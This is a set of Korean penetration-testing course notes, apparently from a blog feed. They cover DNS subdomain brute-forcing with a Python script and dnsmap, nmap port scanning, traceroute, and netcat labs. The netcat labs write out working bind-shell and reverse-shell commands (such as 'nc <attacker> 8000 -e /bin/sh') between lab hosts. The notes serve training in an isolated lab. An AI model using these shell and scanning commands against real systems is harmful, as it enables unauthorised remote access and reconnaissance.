[root@kali ~]# vi /etc/resolv.conf 
nameserver 200.200.200.6


한 줄에 포함된 엔터(\n)를 제거한다.
[root@kali ~]# python3
Python 3.10.8 (main, Nov  4 2022, 09:21:25) [GCC 12.2.0] on linux
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&gt;&gt;&gt; hostname = &#39;www\n&#39;
&gt;&gt;&gt; hostname
&#39;www\n&#39;
&gt;&gt;&gt; hostname.split(&#39;\n&#39;)
[&#39;www&#39;, &#39;&#39;]
&gt;&gt;&gt; quit()


최종 변경된 코드
[root@kali ~]# vi ./dnsAttack

#! /usr/bin/python3

import os

filename = &#39;dict.txt&#39;
f = open(filename, &#39;r&#39;)
hostname = f.readline()

while hostname:
    # 한 줄의 끝에는 엔터(\n)가 있으므로 엔터를 기준으로 나누어서 hostname 변수에 저장한다.
    hostname = hostname.split(&#39;\n&#39;)
    print(hostname[0], &#39;:&#39;) 
    os.system(f&#39;dig {hostname[0]}.sbs.com +short&#39;)
    hostname = f.readline()

f.close()

[root@kali ~]# ./dnsAttack
www :
200.200.200.6
ns :
swa :
200.200.200.6
orion2 :
200.200.200.6
test :
test2 :

</code></pre><blockquote>
<p><strong>실습&gt; Kali Linux에서 VSCode 설치하기</strong></p>
</blockquote>
<p>참고: <a href="https://cafe.naver.com/linuxmasternet/1208">https://cafe.naver.com/linuxmasternet/1208</a></p>
<pre><code>1. 네임서버 변경
[root@kali ~]# vi /etc/resolv.conf 
nameserver 168.126.63.1
#nameserver 200.200.200.6


2. VSCode 설치
파이어폭스를 실행해서 https://code.visualstudio.com/ 사이트로 접속해서 VSCode를 다운로드 받는다.

다운로드가 완료되면 /root/Downloads 디렉터리로 이동해서 dpkg로 데비안 패키지를 설치한다.
[root@kali Downloads]# dpkg -i code_1.76.0-1677667493_amd64.deb 
Selecting previously unselected package code.
(Reading database ... 395636 files and directories currently installed.)
Preparing to unpack code_1.76.0-1677667493_amd64.deb ...
Unpacking code (1.76.0-1677667493) ...
Setting up code (1.76.0-1677667493) ...
Processing triggers for desktop-file-utils (0.26-1) ...
Processing triggers for mailcap (3.70+nmu1) ...
Processing triggers for shared-mime-info (2.2-1) ...

3. kali 로그인
Xwindow 를 kali 사용자로 로그인한다.
아이디: kali
비밀번호: kali

4. VSCode 실행
메뉴에서 code를 실행한다.
워크스페이스 폴더를 선택한다.

5. 파이썬 파일 실행
소스코드를 작성해서 실행한다.

-- hello.py --
print(&quot;Hello Python!&quot;)
-- hello.py --
</code></pre><blockquote>
<p><strong>실습&gt; VSCode 에서 실행</strong></p>
</blockquote>
<pre><code>1. 사전 파일 생성
VSCode 에서 작성한다.
-- dict.txt --
www
ns
swa
orion2
test
test2
EOF
-- dict.txt --

2. 공격 코드 생성
-- dnsAttack.py --
#! /usr/bin/python3

import os

filename = &#39;dict.txt&#39;
f = open(filename, &#39;r&#39;)
hostname = f.readline()

while hostname:
    # 한 줄의 끝에는 엔터(\n)가 있으므로 엔터를 기준으로 나누어서 hostname 변수에 저장한다.
    hostname = hostname.split(&#39;\n&#39;)
    print(hostname[0], &#39;:&#39;) 
    os.system(f&#39;dig {hostname[0]}.sbs.com +short&#39;)
    hostname = f.readline()

f.close()
-- dnsAttack.py --

3. 실행 및 분석
VSCode를 실행해서 분석한다.
</code></pre><blockquote>
<p><strong>실습&gt; Kali Linux 한글 설치하기</strong></p>
</blockquote>
<p>각자 구글에서 Kali Linux 한글 설치로 검색해서 Kali Linux 에서 한글을 설치한다.</p>
<blockquote>
<p><strong>실습&gt; dnsmap 소스코드 다운로드</strong></p>
</blockquote>
<pre><code>Kali Linux에서 공격코드는 
C언어, Perl, Python으로 작성되어 있다.

최신 Kali Linux 버전은 Python2로 제작된 소스코드들을 모두 Python3로 교체했다.

dnsmap은 C언어로 작성되어 있다.

1. Source Code Repository 접속
참고: 
https://www.kali.org/tools/dnsmap/#dnsmap-1
Source Code Repository 를 클릭하면 github 사이트로 이동한다.

2. 외부 DNS 변경
[root@kali ~]# vi /etc/resolv.conf
nameserver 168.126.63.1

3. 소스코드 다운로드
git을 이용해서 소스코드 저장소에서 다운로드 받는다.
[root@kali ~]# mkdir dnsmap
[root@kali ~]# cd dnsmap
[root@kali dnsmap]# git clone https://salsa.debian.org/pkg-security-team/dnsmap.git .

4. 컴파일
autoconf 패키지를 설치한다.
[root@kali dnsmap]# apt-get -y install autoconf
[root@kali dnsmap]# ./autogen.sh 
[root@kali dnsmap]# ./configure 
[root@kali dnsmap]# make

5. 소스코드 분석 및 수정
[root@kali dnsmap]# cd src
[root@kali src]# vi dnsmap.c 
  :
  :(생략)
int main(int argc, char *argv[]) {

    printf(&quot;&gt;&gt;&gt; dnsmap 분석 &lt;&lt;&lt;\n&quot;);  // 추가
    unsigned short int i=0, j=0, k=0, l=0, found=0, ipCount=0, filtIPcount=0, milliseconds=10, intIPcount=0,

  :
  :(생략)

6. 컴파일
[root@kali src]# make
gcc -DHAVE_CONFIG_H -I. -I..     -g -O2 -MT dnsmap.o -MD -MP -MF .deps/dnsmap.Tpo -c -o dnsmap.o dnsmap.c
mv -f .deps/dnsmap.Tpo .deps/dnsmap.Po
gcc  -g -O2   -o dnsmap dnsmap.o  

7. 실행
[root@kali src]# ./dnsmap
&gt;&gt;&gt; dnsmap 분석 &lt;&lt;&lt;  &lt;-- 새로 추가한 메세지가 출력된다.
dnsmap 0.36 - DNS Network Mapper

usage: dnsmap &lt;target-domain&gt; [options]

options:
-w &lt;wordlist-file&gt;
-r &lt;regular-results-file&gt;
-c &lt;csv-results-file&gt;
-d &lt;delay-millisecs&gt;
-i &lt;ips-to-ignore&gt; (useful if you&#39;re obtaining false positives)

e.g.:
dnsmap example.com
dnsmap example.com -w yourwordlist.txt -r /tmp/domainbf_results.txt
dnsmap example.com -r /tmp/ -d 3000
dnsmap example.com -r ./domainbf_results.txt

8. 내부 DNS로 변경
[root@kali src]# cat /etc/resolv.conf 
nameserver 200.200.200.6

[root@kali src]# dig sbs.com +short
200.200.200.6

[root@kali src]# dig naver.com +short
</code></pre><blockquote>
<p><strong>실습&gt; dnsmap 공격</strong></p>
</blockquote>
<pre><code>1. 패킷 모니터링
[root@victim3 ~]# tcpdump -i ens33 udp port 53 -nn --number

2. DNS 확인
[root@kali src]# cat /etc/resolv.conf 
nameserver 200.200.200.6

[root@kali src]# dig sbs.com +short
200.200.200.6

3. dnsmap 공격
dnsmap으로 공격할 때 사전파일을 지정하지 않으면 기본 사전파일로 공격을 진행한다.
[root@kali src]# dnsmap sbs.com 
dnsmap 0.36 - DNS Network Mapper

[+] searching (sub)domains for sbs.com using built-in wordlist
[+] using maximum random delay of 10 millisecond(s) between requests

ns1.sbs.com
IP address #1: 200.200.200.6

www.sbs.com
IP address #1: 200.200.200.6

[+] 2 (sub)domains and 2 IP address(es) found
[+] completion time: 9 second(s)

4. 패킷 모니터링 확인
[root@victim3 ~]# tcpdump -i ens33 udp port 53 -nn --number
  :
  :(생략)
 5939  06:28:22.369646 IP 200.200.200.3.40597 &gt; 200.200.200.6.53: 56890+ AAAA? zz.sbs.com. (28)
 5940  06:28:22.369789 IP 200.200.200.6.53 &gt; 200.200.200.3.40597: 56890 NXDomain*- 0/1/0 (73)
 5941  06:28:22.370760 IP 200.200.200.3.54063 &gt; 200.200.200.6.53: 8636+ A? zz.sbs.com. (28)
 5942  06:28:22.370905 IP 200.200.200.6.53 &gt; 200.200.200.3.54063: 8636 NXDomain*- 0/1/0 (73)
</code></pre><blockquote>
<p><strong>실습&gt; 경로 추적</strong></p>
</blockquote>
<pre><code>경로추적
tracert: 윈도우 OS 명령어
traceroute: 리눅스 OS 명령어

C:\Users\user2&gt;tracert

사용법: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout]
               [-R] [-S srcaddr] [-4] [-6] target_name

옵션:
    -d                 주소를 호스트 이름으로 확인하지 않습니다.
    -h maximum_hops    대상 검색을 위한 최대 홉 수입니다.
    -j host-list       host-list에 따라 원본 라우팅을 완화합니다(IPv4 에만 해당).
    -w timeout         각 응답의 대기 시간 제한(밀리초)입니다.
    -R                 왕복 경로를 추적합니다(IPv6에만 해당).
    -S srcaddr         사용할 원본 주소입니다(IPv6에만 해당).
    -4                 IPv4를 사용합니다.
    -6                 IPv6을 사용합니다.

C:\Users\user&gt;tracert -d google.com

최대 30홉 이상의
google.com [172.217.161.46](으)로 가는 경로 추적:

  1    &lt;1 ms     1 ms    &lt;1 ms  192.168.20.1
  2     *        *        *     요청 시간이 만료되었습니다.
  3     2 ms     1 ms     3 ms  10.204.161.109
  4     2 ms     1 ms     2 ms  1.213.9.229
  5     2 ms     2 ms     3 ms  1.208.147.5
  6     3 ms     3 ms     2 ms  1.208.165.157
  7     3 ms     4 ms     3 ms  1.208.115.81
  8    45 ms    44 ms    45 ms  61.42.0.118
  9    40 ms    40 ms    40 ms  1.208.148.206
 10    38 ms    38 ms    39 ms  74.125.118.154
 11    38 ms    39 ms    38 ms  108.170.241.97
 12    39 ms    38 ms    38 ms  108.170.241.112
 13    41 ms    41 ms    42 ms  172.253.64.172
 14    65 ms    65 ms    65 ms  172.253.66.71
 15    63 ms    63 ms    63 ms  142.250.213.15
 16    62 ms    60 ms    61 ms  142.250.212.148
 17    59 ms    59 ms    59 ms  108.170.242.129
 18    61 ms    61 ms    61 ms  216.239.41.71
 19    64 ms    64 ms    64 ms  172.217.161.46

추적을 완료했습니다.


https://ipinfo.io/


NAT 환경에서는 안된다.
[root@kali ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:dc:0b:b6 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.3/24 brd 200.200.200.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::290a:b024:cc09:d56d/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

[root@kali ~]# traceroute -n google.com
traceroute to google.com (142.251.42.206), 30 hops max, 60 byte packets
 1  200.200.200.2  0.110 ms  0.091 ms  0.112 ms
 2  * * *
 3  * * *
 4  * * *
 5  * * *
 6  * * *
 7  * * *
 8  * * *
 9  * * *
10  * * *
11  * * *
12  * * *
13  * * *
14  * * *
^C</code></pre><p>############
📌 <strong>포트 스캔</strong> 📌
############</p>
<p>!!! 우리가 구축한 가상의 환경이 아닌 외부에 포트 스캔을 하면 법에 걸린다. 반드시 우리가 구축한 가상의 환경에서 한다. !!!</p>
<p>시스템 내부에서 동작중인 서비스 확인 : netstat, ss
시스템 외부에서 동작중인 서비스 확인 : port scanning
-허가된 사용자: 내부에서 변조된 netstat, ss 명령어를 대체할 수 있기 때문에 시스템 내부에서 발견하지 못한 포트를 확인할 수 있다.
-허가되지 않은 사용자: 공격이라고 판단해야 한다.</p>
<blockquote>
<p><strong>실습&gt; 포트 스캔</strong></p>
</blockquote>
<p>포트 스캔이란 
외부에서 서버의 열린 서비스 포트를 확인하는 정보수집 공격이다.
사용하는 사람에 따라서 좋게 사용될 수도 있도 나쁘게 사용될 수도 있다.
-허가된 사용자, 허가되지 않은 사용자</p>
<pre><code>1. victim 방화벽 중지

victim3.linuxmaster.net: 200.200.200.6

[root@victim3 ~]# systemctl stop firewalld
[root@victim3 ~]# systemctl disable firewalld
[root@victim3 ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination  


2. 포트 스캔
DNS를 내부로 돌리고 sbs.com 도메인을 확인한다.
[root@kali ~]# vi /etc/resolv.conf 
# Generated by NetworkManager
nameserver 200.200.200.6

[root@kali ~]# dig sbs.com +short
200.200.200.6

-p: 포트 옵션 
-p 옵션을 사용하지 않으면 가장 잘 알려진 포트 1,000개를 스캔한다.
포트는 2byte 이므로 (2^16 65536개 0~65535) 그 중에서 1,000개를 스캔한다. 
사용법: nmap 도메인 or nmap IP주소
[root@kali ~]# nmap sbs.com  &lt;-- namp 200.200.200.6과 동일하다.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 22:24 EDT
Nmap scan report for sbs.com (200.200.200.6)
Host is up (0.00018s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.24 seconds

전체 포트를 스캔한다. 
0번은 사용하지 않으므로 1 부터 65,535까지 스캔한다.
[root@kali ~]# nmap -p1-65535 sbs.com
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 22:28 EDT
Nmap scan report for sbs.com (200.200.200.6)
Host is up (0.00059s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
8888/tcp open  sun-answerbook
MAC Address: 00:0C:29:F9:34:CB (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.81 seconds

server.py는 8000번 포트를 띄운다.
# python3 server.py 

[root@kali ~]# nmap -p1-65535 sbs.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 03:12 EST
Nmap scan report for sbs.com (200.200.200.6)
Host is up (0.00092s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
8000/tcp open  http-alt   &lt;--
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.62 seconds

-p 8000 을 이용해서 8000번만 검사한다.
[root@kali ~]# nmap -p 8000 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 03:14 EST
Nmap scan report for 200.200.200.6
Host is up (0.00023s latency).

PORT     STATE SERVICE
8000/tcp open  http-alt
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds
</code></pre><blockquote>
<p><strong>실습&gt; 포트 번호 1234번 테스트</strong></p>
</blockquote>
<pre><code>Attacker: 200.200.200.3
Victim: 200.200.200.6

  Attacker               Victim
+----------+          +----------+
|          |          |          |
|          |    S     |          |
|  52852 -----------&gt; |   1234   |
|          |          |          |
|          |          |          |
+----------+          +----------+
     .3                    .6
          200.200.200.0/24

-- 조건 --
1. Victim에 방화벽은 없다. 
-- 조건 --


1. 포트 확인
Victim# ss -nlt|grep 1234
Victim#  &lt;-- 프롬프트가 바로 떠지면 1234 포트가 열려있지 않다는 것이다.

2. 패킷 모니터링
# tcpdump -i ens33 port 1234 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes

3. 포트 스캔
[root@kali ~]# nmap -p 1234 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 03:29 EST
Nmap scan report for 200.200.200.6
Host is up (0.00022s latency).

PORT     STATE  SERVICE
1234/tcp closed hotline
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.18 seconds


       S
A -----------&gt; V3 (패킷이 들어오는 것)
       R
A &lt;----------- V3 

닫힌 포트일 경우
- 포트가 닫혔다면 RST 패킷이 Victim(200.200.200.6)에서 Attacker(200.200.200.3)에 전송된다.
Victim# tcpdump -i ens33 port 1234 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
16:12:28.379442 IP 200.200.200.3.34671 &gt; 200.200.200.6.1234: Flags [S], seq 3355718159, win 1024, options [mss 1460], length 0
16:12:28.379466 IP 200.200.200.6.1234 &gt; 200.200.200.3.34671: Flags [R.], seq 0, ack 3355718160, win 0, length 0


열린 포트일 경우

[root@kali ~]# nmap -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 03:33 EST
Nmap scan report for 200.200.200.6
Host is up (0.00023s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds

       S
A -----------&gt; V3 (패킷이 들어오는 것)
      S/A
A &lt;----------- V3 
       R
A -----------&gt; V3 

# tcpdump -i ens33 port 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
16:16:54.903100 IP 200.200.200.3.58642 &gt; 200.200.200.6.80: Flags [S], seq 873426058, win 1024, options [mss 1460], length 0
16:16:54.903129 IP 200.200.200.6.80 &gt; 200.200.200.3.58642: Flags [S.], seq 318231695, ack 873426059, win 29200, options [mss 1460], length 0
16:16:54.903381 IP 200.200.200.3.58642 &gt; 200.200.200.6.80: Flags [R], seq 873426059, win 0, length 0
</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[모의해킹 - 2 (교육 71일차)]]></title>
            <link>https://velog.io/@security_code/%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-bind-connection-reverse-connection-bind-shell-Reverse-shell-%EB%A6%AC%EB%88%85%EC%8A%A4-polkit-%EC%B7%A8%EC%95%BD%EC%A0%90-bash%EC%97%90%EC%84%9C-Reverse-Shell-%EC%97%B0%EA%B2%B0-%EB%94%94%EB%A0%89%ED%84%B0%EB%A6%AC-%EC%9D%B8%EB%8D%B1%EC%8A%A4-%EC%A0%9C%EA%B1%B0-robots.txt-%ED%8C%8C%EC%9D%BC-%EC%83%9D%EC%84%B1-whois-%EC%84%A4%EC%B9%98-%ED%8C%8C%EC%9D%B4%EC%8D%AC%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%ED%86%B5%EC%8B%A0-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%EC%86%8C%EC%BC%93-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%B1%84%ED%8C%85-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8</link>
            <guid>https://velog.io/@security_code/%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-bind-connection-reverse-connection-bind-shell-Reverse-shell-%EB%A6%AC%EB%88%85%EC%8A%A4-polkit-%EC%B7%A8%EC%95%BD%EC%A0%90-bash%EC%97%90%EC%84%9C-Reverse-Shell-%EC%97%B0%EA%B2%B0-%EB%94%94%EB%A0%89%ED%84%B0%EB%A6%AC-%EC%9D%B8%EB%8D%B1%EC%8A%A4-%EC%A0%9C%EA%B1%B0-robots.txt-%ED%8C%8C%EC%9D%BC-%EC%83%9D%EC%84%B1-whois-%EC%84%A4%EC%B9%98-%ED%8C%8C%EC%9D%B4%EC%8D%AC%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%ED%86%B5%EC%8B%A0-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%EC%86%8C%EC%BC%93-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%B1%84%ED%8C%85-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8</guid>
            <pubDate>Tue, 07 Mar 2023 14:08:23 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt; netcat 설치하기</strong></p>
</blockquote>
<pre><code>넷켓(netcat, nc)?
TCP/UDP 통신을 다양하게 실행해서 전송할 수 있는 프로그램

http://netcat.sourceforge.net/ 

200.200.200.6 에서 작업한다.

1. 소스코드 다운로드
소스코드를 다운로드 받는다.
# yum -y install gcc wget
# wget --no-check-certificate http://linuxmaster.net/malware/netcat-0.7.1.tar.gz
# md5sum netcat-0.7.1.tar.gz
088def25efe04dcdd1f8369d8926ab34  netcat-0.7.1.tar.gz

2. 압축 해제
다운로드 받은 netcat 파일의 압축을 해제하고 그 디렉터리 안으로 들어간다.
# tar xzf netcat-0.7.1.tar.gz
# cd netcat-0.7.1

3. 환경설정 단계
# ls
   &lt;-- Makefile이 없다. 
# ./configure --help

환경설정 단계로 여기서는 옵션없이 사용한다.
# ./configure
# ls
Makefile   &lt;-- Makefile이 생성되었다. 

4. 컴파일 단계
make 명령어는 Makefile의 내용을 보고 컴파일을 한다.
Makefile은 configure에서 생성한다.
# make
# ls
Makefile  ...(생략)
# file src/netcat

5. 설치 단계
# make install

설치가 잘 되었는지 확인한다.
# ll /usr/local/bin/
합계 124
lrwxrwxrwx. 1 root root      6  3월  5 14:58 nc -&gt; netcat
-rwxr-xr-x. 1 root root 126800  3월  5 15:09 netcat

6. 통신 연결
# cd
# iptables -F
# systemctl stop firewalld

# rpm -q nc
nc 패키지가 설치되어 있지 않습니다

200.200.200.6에서 실행한다.
8000번 포트를 오픈한다.
-l: listen
-v: verbose
-p: port number
# nc -lvp 8000


200.200.200.3에서 실행한다.
Hello 메세지를 보내면 연결된 200.200.200.6으로 메세지가 전송된다.
# nc 200.200.200.6 8000
Hello

# nc -lvp 8000
Connection from 200.200.200.3:42038
Hello

200.200.200.6에서 Hi 메세지를 보내면 연결된 200.200.200.6쪽으로 메세지가 전송된다.
# nc -lvp 8000
Connection from 200.200.200.3:42038
Hello
Hi

# nc 200.200.200.6 8000
Hello
Hi

Ctrl + C를 눌러서 종료한다.
# nc -lvp 8000
Connection from 200.200.200.3:42038
Hello
Hi
^C</code></pre><blockquote>
<p><strong>실습&gt; bind connection 이해하기</strong></p>
</blockquote>
<pre><code>bind connection 은 Victim에서 포트를 열고 
Attacker가 Victim으로 접속하는 연결 방식이다.

Attacker: 200.200.200.3
Victim: 200.200.200.6

  Attacker               Victim
+----------+          +----------+
|          |          |          |
|          |          |          |
|  52852 ----------------&gt; 8000  |
|          |          |          |
|          |          |          |
+----------+          +----------+
     .3                    .6
          200.200.200.0/24

bind connection 의 조건 : 
- Victim에 방화벽이 없어야 한다.
- 방화벽이 있다면 Victim에서 포트를 열었지만 
- Attacker가 접속할 수 없는 상황이 된다.

프롬프트를 변경한다.
# PS1=&quot;Victim# &quot;
# PS1=&quot;Attacker# &quot;

1. Victim 방화벽 해제
Victim# iptables -F
Victim# systemctl stop firewalld

2. Victim 포트 오픈
Victim# nc -lvp 8000

3. Attacker 에서 접속
Attacker# nc 200.200.200.6 8000

4. 포트 확인
다른 터미널을 접속해서 연결된 포트를 확인한다.
netstat: net-tools 패키지를 설치한다.
Victim# ss -nat | grep 8000
ESTAB      0      0      200.200.200.6:8000               200.200.200.3:52852

Attacker# ss -nat | grep 8000
ESTAB  0      0      200.200.200.3:52852 200.200.200.6:8000        


5. data 전송/확인
Victim# nc -lvp 8000
Connection from 200.200.200.3:52852
aaa
bbb
ccc
ddd

Attacker# nc 200.200.200.6 8000
aaa
bbb
ccc
ddd
^C</code></pre><p>💥<strong>중요</strong>💥</p>
<blockquote>
<p><strong>실습&gt; reverse connection 이해하기</strong></p>
</blockquote>
<pre><code>reverse connection 은 Attacker에서 포트를 열고 
Victime이 Attacker로 접속하는 연결 방식이다.

Attacker: 200.200.200.3
Victim: 200.200.200.6

  Attacker               Victim
+----------+        | +----------+
|          |        | |          |
|          |        | |          |
|  8000  &lt;----------|---- 55868  |
|          |        | |          |
|          |        | |          |
+----------+        | +----------+
     .3            f/w    .6
                       firewalld or iptables 활성화
          200.200.200.0/24

reverese connection 의 조건 : 
- Victim에 방화벽이 활성화되어 있어야 한다.
- 방화벽이 있다면 Victim에서 포트를 열었지만 
- Attacker가 접속할 수 없는 상황이 된다.
- 그러므로 Victim에서 Attacker쪽으로 나와야 하는 상황이다.

1. Victim 방화벽 활성화
Victim# systemctl start firewalld

2. Victim 포트 오픈
Victim# nc -lvp 8000

3. Attacker 에서 접속
Victim에 방화벽이 있기 때문에 접속이 안된다.
Attacker# nc 200.200.200.6 8000
Attacker#  &lt;-- 바로 프롬프트가 나오면 연결이 안되고 종료가 되었다는 의미이다.

4. Attacker 포트 오픈
Attacker는 방화벽으로 모두 내리고 8000 번 포트를 오픈한다.
Attacker# iptables -F
Attacker# nc -lvp 8000

5. Victim 에서 접속
Victim이 Attacker에게 접속한다.
Victim# nc 200.200.200.3 8000

6. 포트 확인
다른 터미널을 접속해서 연결된 포트를 확인한다.
netstat: net-tools 패키지를 설치한다.
Victim# ss -nat | grep 8000
ESTAB      0      0      200.200.200.6:55868              200.200.200.3:8000

Attacker# ss -nat | grep 8000
ESTAB  0      0      200.200.200.3:8000 200.200.200.6:55868   

7. data 전송/확인
Attacker# nc -lvp 8000
connect to [200.200.200.3] from (UNKNOWN) [200.200.200.6] 55868
aaa
bbb
ccc
ddd

Victim# nc 200.200.200.3 8000
aaa
bbb
ccc
ddd
^C</code></pre><blockquote>
<p><strong>실습&gt; bind shell 이해하기</strong></p>
</blockquote>
<pre><code>bind shell은 bind connection 을 기반으로 Victim에서 포트를 열고 뒤에서 쉘이 대기하고 있다가
Attacker가 Victim으로 접속하면 쉘이 실행되는 공격 형태이다.

Attacker: 200.200.200.3
Victim: 200.200.200.6

  Attacker               Victim
+----------+          +----------+
|          |          |          |
|          |          |     -p   |
|  48188 ----------------&gt; 8000 [/bin/sh] -e
|          |          |          |
|          |          |          |
+----------+          +----------+
     .3                    .6
          200.200.200.0/24

bind shell의 조건 : 
- Victim에 방화벽이 비활성화 되어 있어야 한다.
- 방화벽이 있다면 Victim에서 포트를 열었지만 Attacker가 접속할 수 없는 상황이 된다.
- Victim에 포트를 열고 뒤에 쉘(/bin/sh)이 대기하고 있어야 한다.


1. Victim 방화벽 해제
Victim# iptables -F
Victim# systemctl stop firewalld

2. Victim 포트 오픈
-l: listen
-v: verbose
-p: port number
-e: exec program
Victim# nc -lvp 8000 -e /bin/sh

3. Attacker 에서 접속
Attakcer# nc 200.200.200.6 8000

4. 명령어 실행
Attakcer# nc 200.200.200.3 8000
pwd
ls
id
ip a
python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;  &lt;-- pyton을 이용해서 쉘을 실행해야 프롬프트가 출력된다.
[root@localhost ~]# ip a
[root@localhost ~]# id
[root@localhost ~]# exit
^C</code></pre><blockquote>
<p><strong>실습&gt; reverse shell 이해하기</strong></p>
</blockquote>
<pre><code>reverse shell은 reverse connection 을 기반으로 Attacker에서 포트를 열고 대기하고 있다가
Victim이 Attacker로 접속할 때 쉘을 가지고 나가면 연결 후에 Victim의 쉘이 실행되는 공격 형태이다.

Attacker: 200.200.200.3
Victim: 200.200.200.6

  Attacker               Victim
+----------+        | +----------+
|          |        | |          |
|          |        | |     -p   |
|   8000 &lt;----------|----- 55870 [/bin/sh] -e
|          |        | |          |
|          |        | |          |
+----------+        | +----------+
     .3            f/w    .6
                       firewalld or iptables 활성화
          200.200.200.0/24

reverse shell의 조건 : 
- Victim에 방화벽이 활성화(Inbound 쪽) 되어 있어도 상관없다.
- Victim에 방화벽이 Outbound 쪽도 설정되어 있다면 연결이 안될 수 있다.
- Victim에 방화벽이 있다면 Attacker에서 포트를 열었기 때문에 Attacker로 접속할 수 있는 상황이 된다.
- Victim이 Attacker로 연결할 때 쉘(/bin/sh)을 가지고 나가야 한다.


1. Victim 방화벽 활성화
Victim# systemctl start firewalld

2. Victim 포트 오픈
Victim# nc -lvp 8000 -e /bin/sh

3. Attacker 에서 접속
Victim에 방화벽이 있기 때문에 접속이 안된다.
Attacker# nc 200.200.200.3 8000
Attacker#  &lt;-- 바로 프롬프트가 나오면 연결이 안되고 종료가 되었다는 의미이다.

Victim# nc -lvp 8000 -e /bin/sh
^C

4. Attacker 포트 오픈
Attacker는 방화벽으로 모두 내리고 8000 번 포트를 오픈한다.
Attacker# iptables -F
Attacker# nc -lvp 8000

5. Victim 에서 접속
Victim이 Attacker에게 Reverse Shell로 접속한다.
Victim# nc 200.200.200.3 8000 -e /bin/sh

6. 명령어 실행
Attacker# nc -lvp 8000
connect to [200.200.200.3] from (UNKNOWN) [200.200.200.6] 55870
pwd
id
ip a
python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;   &lt;-- pyton을 이용해서 쉘을 실행해야 프롬프트가 출력된다.
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost ~]# ip a
ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:3d:bf:69 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.6/24 brd 200.200.200.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::7319:5898:3b71:d9bd/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

[root@localhost ~]# exit
^C</code></pre><p><img src="https://velog.velcdn.com/images/security_code/post/9bf6d3da-4805-4f14-ad7e-04a0a6ab6438/image.png" alt="">
